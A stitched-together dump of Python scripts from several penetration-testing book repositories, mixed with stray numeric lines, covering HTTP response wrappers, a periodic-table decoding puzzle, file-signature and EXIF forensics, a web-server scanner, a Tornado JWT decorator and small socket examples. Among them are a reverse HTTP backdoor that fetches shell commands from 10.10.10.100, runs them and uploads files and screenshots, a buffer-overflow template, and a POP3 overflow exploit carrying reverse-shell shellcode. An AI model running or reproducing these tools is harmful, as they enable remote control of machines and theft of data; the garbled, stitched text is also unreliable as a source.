make_response(data, headers, url, code, msg) def make_response(data, headers, url, code, msg): """Convenient factory for objects implementing response interface. data: string containing response body data headers: sequence of (name, value) pairs url: URL of response code: integer response code (e.g. 200) msg: string response code message (e.g. "OK") """ mime_headers = make_headers(headers) r = closeable_response(StringIO(data), mime_headers, url, code, msg) return response_seek_wrapper(r) def make_headers(headers): """ headers: sequence of (name, value) pairs """ hdr_text = [] for name_value in headers: hdr_text.append("%s: %s" % name_value) return mimetools.Message(StringIO("\n".join(hdr_text))) # Rest of this module is especially horrible, but needed, at least until fork # urllib2. Even then, may want to preseve urllib2 compatibility. def get_seek_wrapper_class(response): # in order to wrap response objects that are also exceptions, we must # dynamically subclass the exception :-((( if (isinstance(response, urllib2.HTTPError) and not hasattr(response, "seek")): if response.__class__.__module__ == "__builtin__": exc_class_name = response.__class__.__name__ else: exc_class_name = "%s.%s" % ( response.__class__.__module__, response.__class__.__name__) class httperror_seek_wrapper(response_seek_wrapper, response.__class__): # this only derives from HTTPError in order to be a subclass -- # the HTTPError behaviour comes from delegation _exc_class_name = exc_class_name def __init__(self, wrapped): response_seek_wrapper.__init__(self, wrapped) # be compatible with undocumented HTTPError attributes :-( self.hdrs = wrapped.info() self.filename = wrapped.geturl() def __repr__(self): return ( "<%s (%s instance) at %s " "whose wrapped object = %r>" % ( self.__class__.__name__, self._exc_class_name, hex(abs(id(self))), self.wrapped) ) wrapper_class = httperror_seek_wrapper else: wrapper_class = response_seek_wrapper return wrapper_class def seek_wrapped_response(response): """Return a copy of response that supports seekable response interface. Accepts responses from both mechanize and urllib2 handlers. Copes with both ordinary response instances and HTTPError instances (which can't be simply wrapped due to the requirement of preserving the exception base class). """ if not hasattr(response, "seek"): wrapper_class = get_seek_wrapper_class(response) response = wrapper_class(response) assert hasattr(response, "get_data") return response def upgrade_response(response): """Return a copy of response that supports Browser response interface. Browser response interface is that of "seekable responses" (response_seek_wrapper), plus the requirement that responses must be useable after .close() (closeable_response). Accepts responses from both mechanize and urllib2 handlers. Copes with both ordinary response instances and HTTPError instances (which can't be simply wrapped due to the requirement of preserving the exception base class). """ wrapper_class = get_seek_wrapper_class(response) if hasattr(response, "closeable_response"): if not hasattr(response, "seek"): response = wrapper_class(response) assert hasattr(response, "get_data") return copy.copy(response) # a urllib2 handler constructed the response, i.e. the response is an # urllib.addinfourl or a urllib2.HTTPError, instead of a # _Util.closeable_response as returned by e.g. mechanize.HTTPHandler try: code = response.code except AttributeError: code = None try: msg = response.msg except AttributeError: msg = None # may have already-.read() data from .seek() cache data = None get_data = getattr(response, "get_data", None) if get_data: data = get_data() response = closeable_response( response.fp, response.info(), response.geturl(), code, msg) response = wrapper_class(response) if data: response.set_data(data) return response
32.847909
80
0.598101
Python-Penetration-Testing-for-Developers
#!/usr/bin/python string = "TaPoGeTaBiGePoHfTmGeYbAtPtHoPoTaAuPtGeAuYbGeBiHoTaTmPtHoTmGePoAuGeErTaBiHoAuRnTmPbGePoHfTmGeTmRaTaBiPoTmPtHoTmGeAuYbGeTbGeLuTmPtTmPbTbOsGePbTmTaLuPtGeAuYbGeAuPbErTmPbGeTaPtGePtTbPoAtPbTmGeTbPtErGePoAuGeYbTaPtErGePoHfTmGeHoTbAtBiTmBiGeLuAuRnTmPbPtTaPtLuGePoHfTaBiGeAuPbErTmPbPdGeTbPtErGePoHfTaBiGePbTmYbTmPbBiGeTaPtGeTmTlAtTbOsGeIrTmTbBiAtPbTmGePoAuGePoHfTmGePbTmOsTbPoTaAuPtBiGeAuYbGeIrTbPtGeRhGeBiAuHoTaTbOsGeTbPtErGeHgAuOsTaPoTaHoTbOsGeRhGeTbPtErGePoAuGePoHfTmGeTmPtPoTaPbTmGeAtPtTaRnTmPbBiTmGeTbBiGeTbGeFrHfAuOsTmPd" n=2 list = [] answer = [] [list.append(string[i:i+n]) for i in range(0, len(string), n)] print set(list) periodic ={"Pb": 82, "Tl": 81, "Tb": 65, "Ta": 73, "Po": 84, "Ge": 32, "Bi": 83, "Hf": 72, "Tm": 69, "Yb": 70, "At": 85, "Pt": 78, "Ho": 67, "Au": 79, "Er": 68, "Rn": 86, "Ra": 88, "Lu": 71, "Os": 76, "Tl": 81, "Pd": 46, "Rh": 45, "Fr": 87, "Hg": 80, "Ir": 77} for value in list: if value in periodic: answer.append(chr(periodic[value])) lastanswer = ''.join(answer) print lastanswer #it is the function of science to discover the existence of a general reign of order in nature and to find the causes governing this order and this refers in equal measure to the relations of man - social and political - and to the entire universe as a whole.
61.857143
529
0.764973
cybersecurity-penetration-testing
import binascii import logging __author__ = 'Preston Miller & Chapin Bryce' __date__ = '20160401' __version__ = 0.01 def checkHeader(filename, headers, size): """ The checkHeader function reads a supplied size of the file and checks against known signatures to determine the file type. :param filename: The name of the file. :param headers: A list of known file signatures for the file type(s). :param size: The amount of data to read from the file for signature verification. :return: Boolean, True if the signatures match; otherwise, False. """ with open(filename, 'rb') as infile: header = infile.read(size) hex_header = binascii.hexlify(header) for signature in headers: if hex_header == signature: return True else: pass logging.warn('The signature for {} ({}) does not match known signatures: {}'.format( filename, hex_header, headers)) return False def convertSize(size): """ The convertSize function converts an integer representing bytes into a human-readable format. :param size: The size in bytes of a file :return: The human-readable size. """ sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'] index = 0 while size > 1024: size /= 1024. index += 1 return '{:.2f} {}'.format(size, sizes[index])
32.309524
111
0.625179
Effective-Python-Penetration-Testing
import os,sys from PIL import Image from PIL.ExifTags import TAGS for (i,j) in Image.open('image.jpg')._getexif().iteritems(): print '%s = %s' % (TAGS.get(i), j)
23.571429
60
0.643275
Python-for-Offensive-PenTest
''' Installing Pillow C:\Users\hkhrais>pip install Pillow ''' # Python For Offensive PenTest # Screen Capturing import requests import subprocess import os import time from PIL import ImageGrab # Used to Grab a screenshot import tempfile # Used to Create a temp directory import shutil # Used to Remove the temp directory while True: req = requests.get('http://10.10.10.100') command = req.text if 'terminate' in command: break elif 'grab' in command: grab,path=command.split('*') if os.path.exists(path): url = 'http://10.10.10.100/store' files = {'file': open(path, 'rb')} r = requests.post(url, files=files) else: post_response = requests.post(url='http://10.10.10.100', data='[-] Not able to find the file !' ) elif 'screencap' in command: #If we got a screencap keyword, then .. dirpath = tempfile.mkdtemp() #Create a temp dir to store our screenshot file ImageGrab.grab().save(dirpath + "\img.jpg", "JPEG") #Save the screencap in the temp dir url = 'http://10.10.10.100/store' files = {'file': open(dirpath + "\img.jpg", 'rb')} r = requests.post(url, files=files) #Transfer the file over our HTTP files['file'].close() #Once the file gets transfered, close the file. shutil.rmtree(dirpath) #Remove the entire temp dir else: CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) post_response = requests.post(url='http://10.10.10.100', data=CMD.stdout.read() ) post_response = requests.post(url='http://10.10.10.100', data=CMD.stderr.read() ) time.sleep(3)
26.25
123
0.597192
PenetrationTestingScripts
# -*- coding: utf-8 -*- # Generated by Django 1.9.1 on 2016-01-07 23:16 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('nmaper', '0004_nmapscan_status_text'), ] operations = [ migrations.AddField( model_name='nmapprofile', name='profilename_text', field=models.CharField(default='Default', max_length=32), preserve_default=False, ), ]
22.636364
69
0.60501
Python-Penetration-Testing-for-Developers
#!/usr/bin/env python ''' Author: Chris Duffy Date: May 2015 Name: wrapper_exploit.py Purpose: An sample exploit for wrapping around a binary execution Copyright (c) 2015, Christopher Duffy All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CHRISTOPHER DUFFY BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ''' import sys, socket, strut, subprocess program_name = 'C:\exploit_writing\vulnerable.exe' fill ="A"*#### eip = struct.pack('<I',0x########) offset = "\x90"*## available_shellcode_space = ### shell =() #Code to insert # NOPs to fill the remaining space exploit = fill + eip + offset + shell client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) client.sendto(exploit, (rhost, rport)) subprocess.call([program_name, exploit])
48.902439
89
0.780929
Python-Penetration-Testing-for-Developers
#!/usr/bin/env python ''' Author: Christopher Duffy Date: June 2015 Name: multi_threaded.py Purpose: To identify live web applications with a list of IP addresses, using concurrent threads Copyright (c) 2015, Christopher Duffy All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CHRISTOPHER DUFFY BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ''' import urllib2, argparse, sys, threading, logging, Queue, time queue = Queue.Queue() lock = threading.Lock() class Agent(threading.Thread): def __init__(self, queue, logger, verbose): threading.Thread.__init__(self) self.queue = queue self.logger = logger self.verbose = verbose def run(self): while True: host = self.queue.get() print("[*] Testing %s") % (str(host)) target = "http://" + host target_secure = "https://" + host try: request = urllib2.Request(target) request.get_method = lambda : 'HEAD' response = urllib2.urlopen(request) except: with lock: self.logger.debug("[-] No web server at %s reported by thread %s" % (str(target), str(threading.current_thread().name))) print("[-] No web server at %s reported by thread %s") % (str(target), str(threading.current_thread().name)) response = None if response != None: with lock: self.logger.debug("[+] Response from %s reported by thread %s" % (str(target), str(threading.current_thread().name))) print("[*] Response from insecure service on %s reported by thread %s") % (str(target), str(threading.current_thread().name)) self.logger.debug(response.info()) try: target_secure = urllib2.urlopen(target_secure) request_secure.get_method = lambda : 'HEAD' response_secure = urllib2.urlopen(request_secure) except: with lock: self.logger.debug("[-] No secure web server at %s reported by thread %s" % (str(target_secure), str(threading.current_thread().name))) print("[-] No secure web server at %s reported by thread %s") % (str(target_secure), str(threading.current_thread().name)) response_secure = None if response_secure != None: with lock: self.logger.debug("[+] Secure web server at %s reported by thread %s" % (str(target_secure), str(threading.current_thread().name))) print("[*] Response from secure service on %s reported by thread %s") % (str(target_secure), str(threading.current_thread().name)) self.logger.debug(response_secure.info()) # Execution is complete self.queue.task_done() def main(): # If script is executed at the CLI usage = '''usage: %(prog)s [-t hostfile] [-m threads] [-f filename] [-l logfile.log] [-m 2] -q -v -vv -vvv''' parser = argparse.ArgumentParser(usage=usage) parser.add_argument("-t", action="store", dest="targets", default=None, help="Filename for hosts to test") parser.add_argument("-f", "--filename", type=str, action="store", dest="filename", default="xml_output", help="The filename that will be used to create an XLSX") parser.add_argument("-m", "--multi", action="store", dest="threads", default=1, type=int, help="Number of threads, defaults to 1") parser.add_argument("-l", "--logfile", action="store", dest="log", default="results.log", type=str, help="The log file to output the results") parser.add_argument("-v", action="count", dest="verbose", default=1, help="Verbosity level, defaults to one, this outputs each command and result") parser.add_argument("-q", action="store_const", dest="verbose", const=0, help="Sets the results to be quiet") parser.add_argument('--version', action='version', version='%(prog)s 0.42b') args = parser.parse_args() # Argument Validator if len(sys.argv)==1: parser.print_help() sys.exit(1) if (args.targets == None): parser.print_help() sys.exit(1) # Set Constructors targets = args.targets # Targets to be parsed verbose = args.verbose # Verbosity level threads = args.threads # Threads to be used log = args.log # Configure the log output file if ".log" not in log: log = log + ".log" level = logging.DEBUG # Logging level format = logging.Formatter("%(asctime)s [%(threadName)-12.12s] [%(levelname)-5.5s] %(message)s") # Log format logger_obj = logging.getLogger() # Getter for logging agent file_handler = logging.FileHandler(args.log) # File Handler #stderr_handler = logging.StreamHandler() # STDERR Handler targets_list = [] # Configure logger formats for STDERR and output file file_handler.setFormatter(format) #stderr_handler.setFormatter(format) # Configure logger object logger_obj.addHandler(file_handler) #logger_obj.addHandler(stderr_handler) logger_obj.setLevel(level) # Load the targets into a list and remove trailing "\n" with open(targets) as f: targets_list = [line.rstrip() for line in f.readlines()] # Spawn workers to access site for thread in range(0, threads): worker = Agent(queue, logger_obj, verbose) worker.setDaemon(True) worker.start() # Build queue of work for target in targets_list: queue.put(target) # Wait for the queue to finish processing queue.join() if __name__ == '__main__': main()
51.992958
165
0.604466
owtf
""" JSON Web Token auth for Tornado """ from sqlalchemy.sql.functions import user from owtf.models.user_login_token import UserLoginToken import jwt from owtf.settings import JWT_SECRET_KEY, JWT_OPTIONS from owtf.db.session import Session def jwtauth(handler_class): """Decorator to handle Tornado JWT Authentication""" def wrap_execute(handler_execute): def require_auth(handler, kwargs): auth = handler.request.headers.get("Authorization") if auth: parts = auth.split() if parts[0].lower() != "bearer" or len(parts) == 1 or len(parts) > 2: handler._transforms = [] handler.set_status(401) handler.write({"success": False, "message": "Invalid header authorization"}) handler.finish() token = parts[1] try: payload = jwt.decode(token, JWT_SECRET_KEY, options=JWT_OPTIONS) user_id = payload.get("user_id", None) session = Session() user_token = UserLoginToken.find_by_userid_and_token(session, user_id, token) if user_id is None or user_token is None: handler._transforms = [] handler.set_status(401) handler.write({"success": False, "message": "Unauthorized"}) handler.finish() except Exception: handler._transforms = [] handler.set_status(401) handler.write({"success": False, "message": "Unauthorized"}) handler.finish() else: handler._transforms = [] handler.write({"success": False, "message": "Missing authorization"}) handler.finish() return True def _execute(self, transforms, *args, **kwargs): try: require_auth(self, kwargs) except Exception: return False return handler_execute(self, transforms, *args, **kwargs) return _execute handler_class._execute = wrap_execute(handler_class._execute) return handler_class
34.625
97
0.534006
Python-Penetration-Testing-for-Developers
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = "192.168.0.1" port =12345 s.connect((host,port)) print s.recv(1024) s.send("Hello Server") s.close()
18.666667
53
0.715909
Python-Penetration-Testing-Cookbook
from scapy.all import * from pprint import pprint network = IP(dst = '192.168.1.1') transport = ICMP() packet = network/transport send(packet)
17.125
33
0.729167
Hands-On-Penetration-Testing-with-Python
#! /usr/bin/python3.6 from abc import ABC, abstractmethod class QueueAbs(ABC): def __init__(self): self.buffer=[] def printItems(self): for item in self.buffer: print(item) @abstractmethod def enqueue(self,item): pass @abstractmethod def dequeue(self): pass class Queue(QueueAbs): def __init__(self,length): super().__init__() self.length=length def enqueue(self,item): is_full=self.length <= len(self.buffer) if is_full: print("Queue is full") return self.buffer.append(item) def dequeue(self): if len(self.buffer) == 0: print("Empty Queue") return item=self.buffer[0] del self.buffer[0] return item class Driver(): def main(self): q=Queue(10) print("Enqueing") for item in range(0,10): q.enqueue(item) print("Printing") q.printItems() print("Dequeing") for item in range(0,10): item=q.dequeue() print(item) d=Driver() d.main()
13.640625
41
0.641026
Hands-On-Penetration-Testing-with-Python
import struct import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) buf = "" buf += "\x99\x98\xf5\x41\x48\x9f\x2f\xfc\x9f\xf8\x48\x31\xc9" buf += "\x48\x81\xe9\xd7\xff\xff\xff\x48\x8d\x05\xef\xff\xff" buf += "\xff\x48\xbb\xb2\xa2\x05\x72\xca\x9c\x6b\xde\x48\x31" buf += "\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x4e\x4a\x87" buf += "\x72\xca\x9c\x0b\x57\x57\x93\xc5\x16\x41\xcc\x5b\x55" buf += "\xe0\xae\x8e\x20\xde\x17\x19\xf6\xbd\x15\x4f\x54\xfb" buf += "\x63\xc7\xe2\xd3\xde\x07\x5e\xea\x5d\xa4\xd3\xb3\x65" buf += "\xe7\x80\x98\xcb\xe0\x8c\xa2\x29\x4f\x4e\x41\xd0\x7a" buf += "\xa6\x51\xea\x04\xa3\x9b\x17\x32\xfe\xb3\x71\x8e\x3b" buf += "\xd2\x7f\x51\x97\x39\x96\x8e\x73\x1c\xad\x94\x72\x73" buf += "\x6d\x08\x73\x0d\xa4\x8b\xab\x44\xa1\x78\x8a\xf1\xe1" buf += "\x4f\xab\x56\xfa\x8e\x2a\xee\x9d\xb8\xb8\x39\xae\x4e" buf += "\xf9\x92\x80\x6a\x0d\x39\xa6\x8e\x73\x1a\x15\x2f\xfa" buf += "\x96\xf9\x5e\x13\x93\xc6\x3a\x21\x52\xfd\x5a\x28\x41" buf += "\x8e\x80\x53\xef\xca\x36\x40\xca\x9c\x03\xa9\xc1\x90" buf += "\x5a\x26\xa2\xd0\x1c\xf8\xb5\x5d\xd0\xca\x5a\x9d\x6b" buf += "\xde\x9b\x66\x51\x22\xa2\xb5\xeb\xb5\xb2\x5d\xd0\x22" buf += "\x9a\xcc\x3b\x9e\xe2\xe2\x55\x1a\x20\x93\xb4\x3e\x4d" buf += "\x77\x92\x18\xcf\xf4\xab\x76\x48\x3f\x6d\x70\xca\x99" buf += "\xc8\x57\x54\xc8\x15\x24\x9d\xf4\xf2\x7b\xc6\xc3\xfa" buf += "\xa7\x4f\x5c\x1f\xd2\x4d\xec\x0d\x07\x26\xf4\x9b\x6b" buf += "\x10\xf4\xfa\xa7\xa2\xff\x06\xba\xb2\x2b\xe6\x25\x9d" buf += "\xcb\x5a\x28\xd8\xb0\x5c\x24\x28\x61\x0d\x19\xf6\x86" buf += "\x39\x73\xcb\x11\x2f\xfa\xa2\x64\x05\x36\x9e\xcc\x3d" buf += "\x88\xe4\xe4\x53\x3c\x9c\xca\x38\x88\xda\xdb\xc9\x4d" buf += "\x4c\x63\xbe\x57\x52\xec\x53\x34\x35\xac\x03\xd6\x35" buf += "\xbf\x65\x8d\x1f\x27\x9b\x6b\x10\xf4\x6d\xd4\x5f\x21" buf += "\xf6\x21\x67\x9e\x03\x0e\xc0\x1c\x90\x3e\xc7\xa7\xbe" buf += "\x35\xd9\xee\x04\xb4\xb2\xf1\xfa\xa7\xca\x9c\x6b\xde" buffer = '\x41' * 2606 try: print "\nSending payload" s.connect(('192.168.250.158',110)) data = s.recv(1024) s.send('USER root' +'\r\n') data = s.recv(1024) print(str(data)) s.send('PASS ' + buffer + '\x8f\x35\x4a\x5f'+ buf + '\r\n') data = s.recv(1024) print(str(data)) s.close() print "\nDone! see rev shell on 1433" except: print "Could not connect to POP3!"
44.215686
63
0.659436